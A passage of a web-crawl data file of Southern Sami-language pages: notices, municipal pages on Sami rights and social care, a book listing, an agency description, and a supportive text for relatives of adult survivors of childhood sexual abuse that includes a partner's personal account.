men suetievaarjelimmien gaavhtan gaajhkh vuesiehtimmieh jaepien 2020 leah heajhtasovveme. Mïnnh guessine mijjen digitaale vuesiehtimmesne gusnie maahtah ånnetji gåeteste vuejnedh jïh åadtjodh ånnetji vielie daejredh Saemiedigkien barkoen bïjre.\nWatch a digital tour of the Sami Parliament Building, with english subtitles","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/sametinget.no\/?sprak=14\/","date":"2020-11-30T04:20:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141205147.57\/warc\/CC-MAIN-20201130035203-20201130065203-00226.warc.gz","language":"sma","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000004768371582}","num_words":80,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien seniorgaavnesjimmie – vuesiehtimmie båeries guvvijste jïh heannadimmieh ektiedamme dejtie\nTïjje: Duarstan, voerhtjen 23 b. ts. 12.00 – 16.00\nSijjie: Snåsa hotell\nGïelem nastedh jïh Ektievoete åarjelsaemien gïelese jïh kultuvrese datnem\/dijjem bööredieh gaavnedidh jïh ektesne murriedidh Snåasesne.\nBritt Inger Gustavsson Stenfell Saemien Sijtese lea meatan gaavnesjimmesne jïh guvvieh Saemien Sijten våarhkoste vuesehte. Dïhte museumen våarhkoereereminie barka jïh hijven daajroem åtna daeveri bïjre museumisnie.\nBiejjien programme\nTs. 12.00 beapmoe Snåasen hotellesne\nTs. 13.00-16.00 Vuesiehtimmie guvvijste jïh ektesne murriedidh\nIehkedsbiejjieprïhtjege gåassoehtamme sjædta gosse sjeahta.\nÖörnedamme lea namhtah jïh mijjieh gegkiestibie datne sïjhth\/dijjieh sïjhtede meatan årrodh.\nJis sïjhth\/sïjhtede meatan årrodh tjoerh Britt Sparrockem bïeljelidh tell. 948 84 401, gaskevåhkoen voerhtjen 22.b. åvtelen.\nGaajhkesh dovnesh buerie båeteme!\nSamisk seniortreff visning av gamle bilder og hendelser knyttet til disse\nTid: Torsdag den 23 april kl. 12.00 – 16.00\nSted: Snåsa hotell\nGïelem nastedh og Enheten for sørsamisk språk og kultur inviterer deg\/dere til treff og sosialt samvær på Snåsa.\nBritt Inger Gustavsson Stenfell fra Saemien sijte deltar på treffet og viser bilder fra Saemien sijtes arkiv. Hun arbeider med museets samlingsforvaltning og har god kunnskap om museets gjenstandssamling.\nProgram for dagen\nKl. 12.00 lunsj på Snåsa hotell\nKl. 13.00-16.00 Visning av bilder og sosialt samvær.\nEttermiddagskaffe serveres når det passer.\nArrangementet er gratis og vi håper Du\/Dere har lyst å delta.\nPåmelding til Britt Sparrock på tlf. 948 84 401 innen onsdag den 22 april.\nAlle ønskes velkommen\/Buerie båateme!","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/gielemnastedh.no\/2015\/04\/saemien-seniorgaavnesjimmie\/","date":"2020-12-05T11:29:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141747774.97\/warc\/CC-MAIN-20201205104937-20201205134937-00202.warc.gz","language":"sma","language_score":0.9853557348,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9853557348251343, \"sme_Latn_score\": 0.014020639471709728}","num_words":214,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis maahtah daam lohkedh jïh guarkedh: aellieh kommenteerh daaroen gïelesne. Daam tjaalam barre dejtie gieh mijjen gïelem guarkoeh.\nManne sïjhtem dejtie saemide gaarmerdidh guhth leah dan tjarki barkeme dan orre latjkemen åvteste SANKS:en jïh Jiemhten Leeneståvroen gaskoeh. Daenbien Saajla Persson radiosne govlem. Dïhte dan soe hijvenlaakan tjïelkesti mannasinie vihkeles saemide åadtjodh jeatjabidie saemide båetedh soptesestidh dåeriesmoeri bijre. Sajla doesteles, jïh soptsesti guktie lij gosse viehkiem syökeme, gukie dah staarnebarkiej satnem dåastohtamme. Vielie soptseste jeatjebh saemieh seamma tsiehkesne goh dïhte orreme.\nGoltelh Saajlam daesnie: http:\/\/sverigesradio.se\/sida\/artikel.aspx?programid=2327&artikel=6095441\nIm leah jïjnjesisidie soptsestamme guktie munnjien daan minngemes orreme tjaktjen gosse dah sjuvnjedh balvh mov aavoem jieliemisnie gaptjeme. Barkoes amma munnjien dillie domti saemine årrodh barre laedtiej siebredahkesne årrodh. Viehkiem gujht åadtjoejim, jïh hijven lea åadtjodh soptsestidh guktie. Sovmem enn buerebe lea munnjien orreme åadtjodh naan saemine soptestidh, jallh giejnie gie guarka guktie lea saemine årrodh. Daan åvteste manne guarkam mannasinie daate maam Jiemhtesne daelie heannede amma vihkeles.\nManne aaj lohkeme maam ÖP:sne tjaalasovveme daan bïjre. Desnie Piere Bergkvist soptseste mannasinie vïhkeles ahte dah mah berkieh staarnine edtjieh maehtedh saemiegujmie barkedh. Dïhte lea tjabreme daan latjkemen åvteste dan åvteste goh daate dan joekoen vïhkeles aamhtese sutnjien. Piere duasta soptsestidh guktie lea orreme gosse idtji vielie sïjhth jieledh. Manne ikth goltelamme gosse håaloeji jïh sïjhtim barre tjearodh gosse dam govlim guktie.\nLohkh dle daesnie maam Pïere jeahta: http:\/\/www.op.se\/allmant\/jamtland\/avtal-for-att-forbattra-halsan-bland-samer","id":"","dump":"CC-MAIN-2020-50","url":"https:\/\/davidkroik.wordpress.com\/2015\/02\/","date":"2020-11-26T17:29:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141188899.42\/warc\/CC-MAIN-20201126171830-20201126201830-00171.warc.gz","language":"sma","language_score":0.9999947548,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999947547912598}","num_words":221,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Viehkiegïetedallije, biståndshandläggare\nViehkiegïetedallijem syökemem pryövoen\nSyökemem viehkien mietie, mij bistånde gåhtjoen jallh barkoem, maahtah njalmeldh jallh tjaaleldh tjïelten viehkiegïetedallijasse daajhtodh. Dïhte dïhte mij viehkiem daarpesjh mij maahta syökedh. Jis aktem buerieålmam jallh åeliem aajne almetjasse gååvnese, maahta dïhte aaj syökemem daajhtodh. Almetjidie mah nuerebe goh 18 jaepien båeries maahta eejhtege\/åeliem syökemem daajhtodh. Barkoem laevehten guktie jïjtse daerpiesvoete lea. Viehkiegïetedallijem maahta jienebh bïevnesh veedtedh.\nBäjhkoehtimmiem\nJis datne goh lïhkesadtjem, lïhkemes almetjem jallh kraanna tuhtjieh ahte naakenh mah ov- vervine leah, dåarjegem daarpesjh jallh nåakelaakan feerh, datne maahtah dam tjïelten viehkiegïetedallijasse bäjhkoehtidh. Bäjhkoehtimmiem maahtah njalmeldh jallh tjaaleldh daajhtodh jih datne tsiememisnie åadtjoeh arrijh. Gïetedallijem aajnem gaskesadta jih beavna mij dåerjegebarkoeh mah faalen. Gaajhkide barkojde jïjtjesyjhtehts leah, dan gaavhtan ij gåeredh aajnem tjabrehtidh barkojde vaeltedh.\nUppdaterad: 2020-10-14 15.57","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.berg.se\/kommunochpolitik\/samisktforvaltningsomrade\/sidorpasamiska\/hokseviehkiejihsajhtoeomsorghjalpochvard\/baeriesalmetjhaldre\/viehkiegietedallijebistandshandlaggare.4.2a948e2414c4aa4dd9a204e4.html","date":"2021-01-22T16:03:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703530835.37\/warc\/CC-MAIN-20210122144404-20210122174404-00548.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":122,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nBok om samer.\nDatne dån jeenjem saemiej bïjre joe mïelh. Datne dån daajra Saemiedigkie Karasjohkesne, Saemiej åålmegebiejjie goevten 6. biejjien jïh sjïere saemien saevege gååvnese. Mah jam mïelh mestie Saemiej åålmegebiejjiem heevehtibie jïh mannasinie Saemiedigkiem åådtjeme? Saemien dajve vyjrehke jïh saemien dajve ryjhkehke. Jïh luste badth dan bïijre lïeredh. Daennie gærjesne jeenjem lïerh.\nSpesifikasjoner\nUtgiver: Gïelem Nastedh\nForfatter: Sigbjørn Skåden\nIllustratør: Kjetil Selnes\nISBN: 978-82-93402-50-3","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/ecom.susoft.com\/saemien\/product\/10678","date":"2021-02-27T04:27:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178358064.34\/warc\/CC-MAIN-20210227024823-20210227054823-00311.warc.gz","language":"sma","language_score":0.9996396303,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999639630317688}","num_words":64,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Senast granskad:\nMyndigheten för delaktighet:en bïjre\nMyndigheten för delaktighet lea maahtoeåejvieladtje mij tjïrrehtimmiem svihtjemeheaptoepolitihkeste evtiedidh. Mijjieh barkebe maahtoem evtiedidh jïh juekedh heaptoej meatan årrodh bïjre jïh siebriedahkeaktöörh mah dïedtem utnieh dåarjodh.\nMijjen laavenjasse lea freemmedh almetjh svihtjemeheaptojne edtjieh maehtedh meatan årrodh gaajhkene lehkesne siebriedahkejieliemisnie jïh seammavyörtegs jielemetsiehkieh utnedh.\nEN:n konvensjovne reaktaj bïjre almetjidie svihtjemeheaptojne lea barkoen våarome.\nMyndigheten för delaktighet medtie 50 barkijh utnieh jïh desnie göökte goevtesh jïh akte staabe.\nGeneraldirektööre Malin Ekman Aldén lea åejvieladtjen åvtehke jïh dïedtem åtna barkoen åvteste reerenassese.\nMijjen barkoe\nGuktie mijjen laavenjassem tjïrrehtidh mijjieh dåeriedibie jïh analyseradibie evtiedimmiem mejnie berkieh svihtjemeheaptoesuerkesne. Dam darjobe gosse jielemetsiehkide vuartajidh almetjidie svihtjemeheaptojne jïh guktie byjjes aktööri berkieh almetjh svihtjemeheaptojne maehtieh meatan årrodh.\nGuktie evtiedimmiem evtiedidh dennie svihtjemeheaptoesuerkesne mijjieh maahtoem evtiedibie jïh juekebe guktie maehtebe heaptojne barkedh siebriedahkesne. Mijjieh dåarjobe aktööride mah dïedtem utnieh aelhkebe svihtjedh siebriedahkesne jïh guktie almetjh svihtjemeheaptojne maehtieh aelhkebe meatan årrodh.\nMijjieh aaj tjïrrehtibie sjïere reerenasselaavenjassh jïh remisside vaestiedibie reerenassekanslijistie jïh mubpieh åejvieladtjijste.\nÅejvieladtjen eeremes ulmiedåehkie lea staaten åejvieladtjh, regijovnh jïh tjïelth, men aaj jieledejielemi råållaj bïjre goh barkoevedtijh jïh dorjehtæjjah dorjesijstie jïh dïenesjistie.\nMijjieh sïjhtebe maahtoem evtiedidh jïh dåarjoem tseegkedh mijjen ulmiedåehkiejgujmie. Aalkoetsiehkie barkosne lea veedtjedh almetji jïjtje dååjrehtimmieh heaptojste siebriedahkesne.\nGaskesadth mijjiem\nDatne maahtah Myndigheten för delaktighet gaskesadtedh mejline jïh telefovne.\nGåessie datne mejlem Myndigheten för delaktighet seedtedh dov mejle sjædta byjjes tjaalegem mij maahta vïjrebe seedtedh byjjesvoeteprinsïhpen mietie.\nMejle: firstname.lastname@example.org\nTelefovne, veksele: 08-600 84 00\nGuasseme- jïh påasteadresse\nMyndigheten för delaktighet\nSturegatan 3\nBox 1210\n172 24 Sundbyberg\nLaake nasjonaale unnebelåhkoej jïh unnebelåhkoej gïeli bïjre\nLaake nasjonaale unnebelåhkoej jïh unnebelåhkoej bïjre faamosne abpe Sveerjesne. Laake jeahta edtja dah nasjonaale unnebelåhkoej gïelh vaarjelidh jïh skreejredh, dah nasjonaale unnebelåhkoeh edtjieh dej kultuvrem gorredidh jïh evtiedidh jïh reeremeåejvieladtjh tjuerieh bïevnedh unnebelåhkoej reaktaj bïjre jïh dah edtjieh dej jïjtse aamhtesh tsevtsedh.\nLïerh vielie laaken bïjre.","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.mfd.se\/other-languages\/aarjelsaemien-giele\/","date":"2021-03-04T19:54:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178369512.68\/warc\/CC-MAIN-20210304174506-20210304204506-00263.warc.gz","language":"sma","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999990463256836}","num_words":292,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daesnie saemien learoevierhtieh gaskeviermesne gååvnese. Maam datne ohtsedeminie?\nUrremes\nJeenemes vuajneme\nMejtie leah daejtie vuajneme\nSaemien learoevierhtieh\nDaan nehtebealan leah bïevnesh saemien learoevierhtiej bïjre tjöönghkesovveme. Daesnie maahta learoevierhtieh löönedh. Juekemeareenesne mahta aaj jïjtsh learoevierhtieh bæjhkoehtidh jïh vuartasjidh maam jeatjah joekedamme.\nDigitaale viehkiedïrrege learoevierhtide\nDigitaale viehkiedïrreginie maahta digitaale learoevierhtieh darjodh, mïsse maahta teksth bïejedh, tjoejh, guvvieh, videjoh, laavenjassh jïh ovmessie interaktijve sisvegh.","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/ovttas.no\/sma","date":"2021-04-23T05:56:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039601956.95\/warc\/CC-MAIN-20210423041014-20210423071014-00030.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":61,"character_repetition_ratio":0.143,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiej reaktah Bïerjen tjïeltesne\nBïerjen tjïelte saemien reeremedajvesne jïh dan gaavhtan dïedtem åtna saemiengïelem gorredidh. Destie gaskem jeatjah mijjieh edtjebe aarhskuvledarjomem jïh voeresehoksem faala saemiengïelesne. Datne aaj reaktam åtnah saemiestidh gosse tjïeltem gaskesadtedh.\nDaesnie bïevnesh gååvnesieh mah reaktah saemieh utnieh Bïerjen tjïeltesne goh saemien reeremedajve.\nDatne bïevnesh ohtsh reaktaj bïjre dej mubpiej nasjonaale unnbelåhkoej bïjre Sveerjesne?\nVuejnieh mijjen sæjroem nasjonaale unnebelåhkoej jïh unnebelåhkoegïeli bïjre (sveerjengïelesne)\nDov saemien reaktah Bïerjen tjïeltesne\nTsevtsedh jïh meatan årrodh\nBïerjen tjïelte edtja dutnjien saemine nuepiem vedtedh gyhtjelassh tsevtsedh mah dutnjien duehtieh jïh dan guhkiem gåarede dijjine dejnie gyhtjelassine rååresjidh.\nTjïelte edtja struktureereles soptstallemem dijjine saemine utnedh guktie maahta dijjen våajnoeh jïh daerpiesvoeth krööhkestidh mijjen moeneminie. Tjïelte edtja sjïere maanaj jïh noeri nuepieh evtiedidh guktie maehtieh tsevtsedh jïh rååresjidh.\nBïerjen tjïeltesne saemien raerie gååvnese goh forume gusnie maahtah tsevtsedh jïh meatan årrodh.\nReakta saemiestidh gosse tjïeltem gaskesadth\nDatne reaktam åtnah saemiestidh dovne tjaeledh jïh soptsestidh gosse mijjiem tjïeltesne gaskesadtedh.\nReakta saemiestidh ajve ieresne mij tjïeltem duahta, vuesiehtimmieh jis datne tjïeltesne årroeh, ierie darjomem tjïeltesne duahta jallh datne gåetiem åtnah tjïeltesne. Datne edtjh aaj paarhtem vuj paarhten säjjasadtjem ieresne årrodh.\nJis datne ieresne saemesth, mijjieh tjoerebe njaalmeldh vaestiedidh seamma gïelesne. Jis datne juridihken viehkiem namhtah aaj reaktam åtnah jis dam krïevh tjaaleldh moenemen jïh moenemebïhkedimmien jarkoestimmiem saemiengïelesne åadtjodh.\nMijjieh tjïeltine edtjebe tjohtjedh aaj mubpieh tsiehkine datnine saemiestidh jïh mijjieh tjohtjebe datne edtjh saemiengïeleldh barkijh dïervesjidh gusnie dam daarpesjh.\nTjïelte nuepiem åtna sjïere guessie- jïh telefovnetïjjh moenedh gåessie mijjieh maehtebe datnem dåastoehtidh gie saemiestidh.\nSaemien voeresehokse\nBïerjen tjïelte edtja faaledh dïsse gie dam vaajta abpe tïjjem jallh boelhkem dïenesjistie jïh hokseste maam faala voeresehoksen mieresne barkijinie gïeh saemiestieh. Tjïelte edtja aaj dan hoksen mieresne krööhkestidh voeresi daerpiesvoetem dej kulturellen identiteetem gorredidh.\nBïerjen tjïelte voeresehoksem faala saemien profijline mijjen sjïere årromesijjesne Treklövern Åsarnisnie. Dohkoe datne gie saemie åvtevåaroem säjjan åtnah jïh årromesijjesne gaskem jeatjah saemien interijööre, saemien beapmoeh akten aejkien våhkosne jïh maahtah saemien gïelebarkijem gaavnedidh.\nReakta aarhskuvledarjoemasse gusnie barkijh gïeh saemiestieh\nMaanah mej åelieh vaejtieh aarhskuvledarjomem gusnie barkijh gïeh saemiestieh. Bïerjen tjïelte edtja maanide faaledh, mej åelieh dam vaejtieh. Sijjiem aarhskuvlesne gusnie abpe jallh boelhkem ööhpehtimmeste saemiengïelesne. Åelieh gïeh aarhskuvlesijjiem dej maanese ohtsedieh edtja tjïelte gihtjedh jis dah sijhtieh sijjiem daennie aarhskuvlesne.\nBïerjen tjïelte edtja tjohtjedh sijjiem faaledh vuesiehtimmieh fuelhkiebiejjiehïejmesne, rähpas aarhskuvlesne jïh jïjjesijjesne gusnie abpe jallh biehkiem darjoemistie saemiengïelesne.\nGåessie datne aarhskuvlesijjiem Bïerjen tjïeltesne ohtsh edtjh datne dov ohtsemisnie tjaeledh datne sïjhth ööhpehtimmiem saemiengïelesne.\nLohkh vielie aarhskuvli bïjre Bïerjen tjïeltesne (sveerjengïelesne)\nSaemien aarhskuvleklaassesne jïh maadthskuvlesne\nTjïelte sjïere dïedtem åtna dejtie saemiengïelide vaarjelidh jïh gorredidh. Tjïelte edtja aaj saemiej nuepieh evtiedidh dej kultuvrem gorredidh jïh evtiedidh Sveerjesne. Maanaj evtiedimmiem kulturellen identiteeteste jïh saemiegïeleste edtja sjïere evtiedidh.\nBïerjen tjïelte tjohtjoe ietniegïeleööhpehtimmiem faaledh gaajhkene saemiengïeline. Tjïelte mahte maahta ööhpehtimmiem åarjelsaemiengïelesne faala lohkehtæjja sijjesne. Mijjieh voejhkelibie ööhpehtimmiem mubpiej saemiengïeline maajeööhpehtimmine faaledh.\nLearohkh gïeh jïjtje saemine identifijeerieh reaktam ööhpehtæmman saemiengïelesne utnieh.\nDïhte nuekies jis akte learohke ööhpehtimmiem sæjhta dellie skuvle tjuara ööhpehtimmiem öörnedh. Daate faamosne jis sjyöhtehke lohkehtæjja gååvnese. Maadthskuvlesne, sjïereskuvlesne, saemieskuvlesne jïh maadthsjïereskuvlesne faamosne saaht jis gïelem gåetesne soptsestieh vuj ij.\nBïerjen tjïelten saemien darjomh\nBïerjen tjïelte ovmessie såarhth darjomh jïh dahkoeh öörnie guktie saemien gïelem nännoestidh jïh skreejrehtidh, jïh maahtoem saemien kultuvren bïjre lissiehtidh.\nSaemien gïele- jïh kultuvremehkieh maanide\nBïerjen tjïelte öörnie, daamhtaj mubpiej tjïelti ektesne, gïele- jïh kultuvretjåanghkoeh saemien maanide tjïeltesne. Skuvle laavenjostoe dej gïele- jïh kultuvretjåanghkoejgujmie jïh dah leah skuvletïjjesne. Dah tjåanghkoeh ovmessie teemah utnieh vuesiehtimmieh vätna, aerpievuekien saemien beapmoeh jïh tjaeleme.\nTjåanghkoej aajkoe saemien maanide nuepiem faaledh gïelem nuhtjedh jïh evtiedidh, meatan årrodh saemien kultuvresne jïh åadtjoeh jienebelåhkosne saemien ektievoetesne årrodh.\nGaskesadth saemien iktedäjjam Jeanette Kråik jis sïjhth vielie daejredh.\nSaemien boelhkh skuvlesne\nBïerjen tjïelten ulmie gaajhkh maanah gïeh skuvlesne orreme tjïeltesne edtjieh nuepiem åådtjeme saemien kultuvrem jïh båatsoeburriem meatan årrodh. Dan gaavhtan tjïelte voejhkele fïerhten jaepien skuvlemaanide mïnnemem öörnedh båatsoesïjtese gusnie dah maehtieh meatan årrodh dejnie darjoeminie mah leah dennie jaepieboelhkesne.\nÅarjelsaemien gïelevierhtie voeresidie\nTjïelte faala gaajhkide saemien voeresidie tjïeltesne mijjien åarjelsaemien gïelebarkije gaskesadtedh jallh dïhte maahta guessine båetedh. Dïhte åarjelsaemien gïelebarkije lea goh gïeleldh svaalhtese tjïelten jïh saemiengïeleldh voeresi gaskem.\nAajkoe lea nuepiem faaledh sov ietniegïelem soptsestidh jïh vuesiehtimmien gaavhtan saemiengïeleldh almetjidie nuepiem vedtedh vuajnoeh jallh uvtelassh tjïeltese sov jïjtje gïeline mejnie maahta buerebe bïhkedidh.\nSkïlth saemiengïelesne\nBïerjen tjïelte barka saemiengïelem vååjnesasse bïejedh gaskem jeatjah guektiengïeleldh skïltine.\nBïevnesh saemiengïelesne\nBiehkieh mijjen webbesijjeste utnieh bïevnesh saemiengïelesne.\nUppdaterad:","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.berg.se\/kommunochpolitik\/samisktforvaltningsomrade\/sidorpasamiska\/saemiejreaktahbierjentjieltesne.4.50348b811760a43f5e84774f.html","date":"2021-04-12T00:19:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038065903.7\/warc\/CC-MAIN-20210411233715-20210412023715-00382.warc.gz","language":"sma","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000072717666626}","num_words":711,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mah leah lïhkesadtjine åådtjeme mïeledh dov gearahkommes, geelledh jallh baarnedh leah maanine seksuelleligke irhkesovveme, dellie daerpies dejnie pryövedh soptsestidh dan bïjre. Kaanne aarkebiejjien mij akt geerve, v.g. lïhkesvoete, åarehtjimmie, skaama, nåake jïjtjedamtoe, måerieh, vissjieh, kaanne dåarehtje, jallh jis garredaalhkesidie jearohke. Almah gïeh maanabaelien irhkesovveme, dah daamtaj maehtehtje dejtie ïskeres mojhtesidie tjïekedh, men dogka daagka dle hiejjies meanoeh maehtieh vuesiehtidh. Dannasinie dam tjuara vuelehks-voetine jïh goerkesimmine dejtie dåastoehtidh man jeenjem gujht gåarede. Eevtjh maa viehkiem ohtsedh jis stoere vaejvieh dan. Lïhkesadtjine maahtah dåarjoejarngese ringkedh (tjeakas-ligke jis sïjhth) raeriej jïh viehkien mietie gihtjedh.\nSeksuelle irhkeldh almah daamtaj maehtieh oktegh domtedh dej jïjtsh dååjrehtsigujmie jïh skaamam maahta dejtie geerve jeatjebigujmie juekedh. Dam buektiehtidh dle daarpesjieh jearsoes-voetem damtedh, jïh numhtie maahta guhkiem åvtelen duestieh jaehkedh måbpan. Aellieh mïsse sarhkesjh, baajh dam stuvredh soptsestimmie-aamhtesem\njis joe aalka saarnodh. Goltelh, tjetskehke årroeh, men aellieh goh doepmh. Ij leah dïhte oktegh jïjtse dååjrehtsigujmie, ij leah skalta dan gænnah, jïh daate tjuara naa tjïelkes-ligke åvtese båetedh dennie soptsestallemisnie.\nJis datne sovmeminie dov paarre-bielie, mïelehke jallh baernie seksuelleligke irhkesovveme, maaje ij sïjhth jïjtje jiehtedh, dle jaehkiemisnie maahta dovne skaamam, skaltam jïh faamohtsvoetem damtedh. Soptsesth soelke dan bïjre, vuesehth dov ïedtjem jïh vuelehks mïelem. Irhkeldh olmetje tjuara måbpan vihth aelkedh jaehkedh jïh jearsoes-voetesne bïesedh soptsestidh jis edtja doestedh. Årroeh vïssjele!\nMujhtieh badth aaj ahte 85% gaajhkijste irhkeme-aamhtesijstie, dejnie leah daamtaj lïhkes olmetjh mah meadtome. Jis aehtjebe, tjidtjebe, jallh eejhtegåbpoej åabpah jallh vïellh, naan baalte-årroje, heerjehtæjja, jallh noeri-barkije guhte dïhte irhkedæjja, dellie alvas lyövlehke sjædta dej seksuelle irhkeme-aamhtesi bïjre soptsestidh mah maana- jallh noerebaelien lin. Vihkielommes gujht dïhte ahte ij hååjsehtallh. Dåajvoe jïh viehkie lea åadtjoemisnie, men maahta guhkiem åvtelen buarene.\n17 TJIPTE-JAEPIEH LEAM HIJVEN ALMINE AKTESNE ORREME\n17 tjipte-jaepieh leam hijven almine aktesne orreme. Idtjim maam daejrieh dan sov tjeakasvoeten bïjre goh gaavnesjimen aalkovisnie, jïh gellie jaepieh badth vielie åvtelen goh fihkim mïeledh mij sov maanabaelien lij sjïdteme dillie goh barre 7 jaepien lij.\nVarke joe damtim mij akt sån gåarhmede. Dïhte dan jeatjah-leejne lij dejstie kaarrijste giejgujmie åvtelen lim aktesne orreme. Jeenje mij idtji dan gåvvan sjïehth gænnah, guktie maehtebe ussjedidh gaarmanæjjah pruvhkieh dååpedidh. Jeenjemes destie seksuelle aamhtesidie veadtaldihkie. Idtji gåessie jïjtje vienteste aelkieh mannine åarehtjidh, jïh goh limen dååkerdeminie dle damtim idtji lih dïhte jïjtje, barre goh idtji jïjtse syjhtedistie maam darjoeh. Gåessie gellien aejkien naemhtie, dle nyjsenæjjine damta, jïh manne dovne damtim, mov gïen mij akt faeties. Ussjedim ij sån vielie sïjhth mannine dååkerdidh. Manne guhkiem dej assjaldahkigujmie oktegh, jïh destie jis vaenebe dååkerdimmie sjïdti. Muvhtene pryövestim dan bïjre soptsestidh, dle jis vueptiestim aamhtese lij dagkere maam eejnegen sïjhti gervedh. Ovmurredi tjarke. Seammaligke gosse voelpigujmie aktesne limen jïh dah jerhpedeminie jallh digkedeminie bohkemen bïjre. Muvhtene geerve dïsse mubpien olmetjen man lïhke årrodh. Geerve dïsse damtoeh vuesiehtidh gosse jeatjebh lïhke… Jis gie akt faerhmiesti dam jallh bïjre veelti goh idtji lih dam vuertieminie, dle raavki tjarke jïh nåakeligke utni.\nAkten iehkeden dle dïjpim gihtjestim mestie dam dïhte numhtie dååpedi gosse dååkerdimmie lij aamhtese. Manne gihtjim mah naan geerve dååkerdimmien dååjrehtsh dan. Måjhtam dïhte måarahtovvi, idtji sïjhth gænnah dan bïjre soptsestidh. Muvhtene vihth aelkiestim soptsestidh dan bïjre, jïh fïerhten aejkien guhkebem soptsestallimen gåessie dovne gaajhke soptsese bööti.\nSoptsese dan 7 jaepien båeries baernien bïjre giejnie dovne skuvlerovkije jïh skuvlen gåetiegeehtije seksuelleligke stååkedin fïerhten vahkan abpe skuvlejaepiem. Alvas bååktjehke dorji govledh dan bïjre maam jïjtse maajsojne guadteme 34 jaepieh. Gåabpegh lin maanam aajhteme, idtji guhtese åadtjoeh saarnodh. Ihkie dan ïskeres jïh bååktjehke govledh, dle dïhte soptsese aaj guktie akt vaestiedassine sjïdti. Gaajhke tjïelki. Dej seksuelle aamhtesi lissine, dle dan nåake jïh vuelehks jïjtjedamtoe aaj dan, jïh dle varkes aaj måarahtovvedh.\nStoere viehkine badth åadtjodh soptsestidh dan bïjre maam lij dååjrehtamme. Abpe maajsa rudtjeste gahtji. Dellie van olmetje gie mïeli jïh meehti goltelidh… Jïjtje aaj mïeli satne daarpesji soptsestalledh, jïh jis biejjege lyövlehke, dellie desnie dan bealesne lim. Joekoen vihkele mijjieh lïhkesadtjh gaarmanæjjide viehkiehtibie man vuekien mietie dah sijhtieh. Soptsestalledh gåessie dan lea arna. Baajh dam stuvrehtidh soptsestallemem. Baajh dam orrijidh saarnoemistie gosse daarpesje. Aellieh sarhkesjh. Aellieh tjaabrehth. Tjuara damtedh jearsoesvoetesne lea. Manne jeenjem bïevnesem gaskeviermesne ohtsedim, jeenjem lohkim jïh dle aktine jeatjah kaarrine soptsestallim gie seammam sjïdteme tjirrehtidh goh geelleme, men gie lij sagke guhkiebasse båateme dennie proseessesne. Soptsestimen jeenjem dan bïjre mah galkimen ålkoebistie naan viehkiem ohtsedh, men guhkiem idtji mov geelle mietieh. Sïjhti barre mannine juekedh. Ihkie mïelim dïhte faagebarkijigujmie daarpesji soptsestidh, dle idtjim vielie sarhkesjh. Men guktie lim åvtelbodti joe aerviedamme, dle hip jïjtje måjhtaji sïjhti viehkiejarngen viehkien mietie gihtjedh. Dan åvtelen lim manne joe ringkeme soptsestamme dejgujmie jïjtjene dïete, goh manne aaj 